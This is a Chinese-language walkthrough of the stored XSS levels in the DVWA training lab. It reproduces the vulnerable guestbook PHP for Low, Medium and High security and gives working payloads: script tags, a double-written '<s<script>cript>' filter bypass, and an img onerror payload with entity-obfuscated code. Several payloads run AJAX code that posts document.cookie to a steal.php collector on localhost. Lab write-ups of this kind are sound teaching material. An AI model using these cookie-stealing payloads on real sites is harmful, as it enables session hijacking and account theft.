总结了dvwa中的存储型xss关卡

Low

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

session_start();
setcookie('security','low',time()+3600);
include("../sql-connection.php");

if(isset($_POST['btnSign'])){
$name=trim($_POST['txtName']);
$message=trim($_POST['mtxMessage']);
$message=stripslashes($message);
$message=mysql_real_escape_string($message);
$name=mysql_real_escape_string($name);
$sql="INSERT INTO guestbook (comment,name) VALUES ('$message','$name')";
$result=mysql_query($sql) or die(mysql_error());
}

if(isset($_POST['btnClear'])){
$sql="DELETE FROM guestbook";
$result=mysql_query($sql);
}

$sql="SELECT name,comment FROM guestbook";
$result=mysql_query($sql);
while($row=mysql_fetch_assoc($result)){
echo "Name:".$row['name']."<br>";
echo "Message:".$row['comment']."<br>";
}

mysql_close();

?>

从代码可以看出将我们POST的name和message写入数据库,并且原原本本的输出存入数据库的name和message,所以很明显存在xss漏洞,这种属于存储型的xss,先将恶意脚本代码存入数据库中,然后用户每次访问网页时都会执行一次恶意代码

我们在name中输入

1
<script>alert(“xss”)</script>

再次刷新页面依然会跳出提示框

那么我们再按反射型xss关卡中的通过存入

1
<script src=”http://127.0.0.1/demo/xss(reflected)/cookie.js”></script>

来跳转到steal.php

再将cookie值存入数据库的方法试一下

发现成功写入cookie值

但是再次刷新进入页面时,每次都会跳转回steal.php,并写入一次cookie值,这难免会引起用户的怀疑

这里可以采用ajax技术,即创建一个用javascript代码创建一个XMLHttpRequest对象,这个对象可以在后台与服务器交换数据,就不需要跳转到steal.php了

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
var url = "http://127.0.0.1/demo/xss(reflected)/steal.php";
var postStr = "data="+document.cookie;
var ajax = null;
if (window.XMLHttpRequest) {
ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
ajax=null;
}
ajax.open("POST", url, true);
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);

然后POST

每次访问页面都会讲cookie值写入数据库

Medium

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

session_start();
setcookie('security','medium',time()+3600);
include("../sql-connection.php");

if(isset($_POST['btnSign'])){
$message=trim($_POST['mtxMessage']);
$name=trim($_POST['txtName']);
$message=strip_tags($message);
$message=mysql_real_escape_string($message);
$message=htmlspecialchars($message);
$name=mysql_real_escape_string($name);
$name=str_replace('<script>','',$name);
$sql="INSERT INTO guestbook(comment,name) VALUES ('$message','$name')";
$result=mysql_query($sql);
}

if(isset($_POST['btnClear'])){
$sql="DELETE FROM guestbook";
$result=mysql_query($sql);
}

$sql="SELECT name,comment FROM guestbook";
$result=mysql_query($sql);
while($row=mysql_fetch_assoc($result)){
echo "Name:".$row['name']."<br>";
echo "Message:".$row['comment']."<br>";
}

?>

可以看出这关对message进行了丢弃标签的过滤,而且使用了htmlspecialchars这个函数,这个函数可以使html标签实体化,让标签不再是标签,完全防止了xss注入,所以这关只能在name注入,但是name同时也过滤了script标签,但是没事,跟之前关卡一样,我们可以采用双写绕过过滤

在name中输入

1
<s<script>cript>alert(‘xss’)</script>

成功弹窗

那么继续思考如何窃取cookie,答案就是双写

输入

1
<s<script>cript src=’cookie.js’></script>

成功窃取到cookie值

High

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

session_start();
setcookie('security','high',time()+3600);
include("../sql-connection.php");

if(isset($_POST['btnSign'])){
$message=trim($_POST['mtxMessage']);
$name=trim($_POST['txtName']);
$message=strip_tags($message);
$message=mysql_real_escape_string($message);
$message=htmlspecialchars($message);
$name=mysql_real_escape_string($name);
$name=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i','',$name);
$sql="INSERT INTO guestbook(comment,name) VALUES ('$message','$name')";
$result=mysql_query($sql);
}

if(isset($_POST['btnClear'])){
$sql="DELETE FROM guestbook";
$result=mysql_query($sql);
}

$sql="SELECT name,comment FROM guestbook";
$result=mysql_query($sql);
while($row=mysql_fetch_assoc($result)){
echo "Name:".$row['name']."<br>";
echo "Message:".$row['comment']."<br>";
}

?>

这里对name进行了正则匹配过滤掉了包含按顺序的<,s,c,r,i,p,t字符组成的字符串,所以这里只能通过触发onerror事件来执行js代码

通过加载图片过程发生异常触发onerror事件

在name中输入

1
<image src=# onerror=(alert(‘xss’))>

输入

1
<img src=# onerror='var url="http://127.0.0.1/demo/xss(reflected)/steal.php";var postStr="data="+document.cook&#x69;e;var ajax=null;&#x69;f(w&#x69;ndow.XMLHttpRequest){ajax=new XMLHttpRequest();}else &#x69;f(w&#x69;ndow.Act&#x69;veXObject){ajax=new Act&#x69;veXObject("M&#x69;crosoft.XMLHTTP");}else{ajax=null;}ajax.open("POST", url, true);ajax.setRequestHeader("Content-Type", "appl&#x69;cat&#x69;on/x-www-form-urlencoded");ajax.send(postStr);'>

将ajax代码执行,将cookie值POST到steal.php

但在输入之前,我们应该先改一下数据列name的长度,之前设定长度为100,但是我们输入的明显超过了100,在mysql命令行输入

1
alter table guestbook modify name varchar(500);

成功窃取到cookie值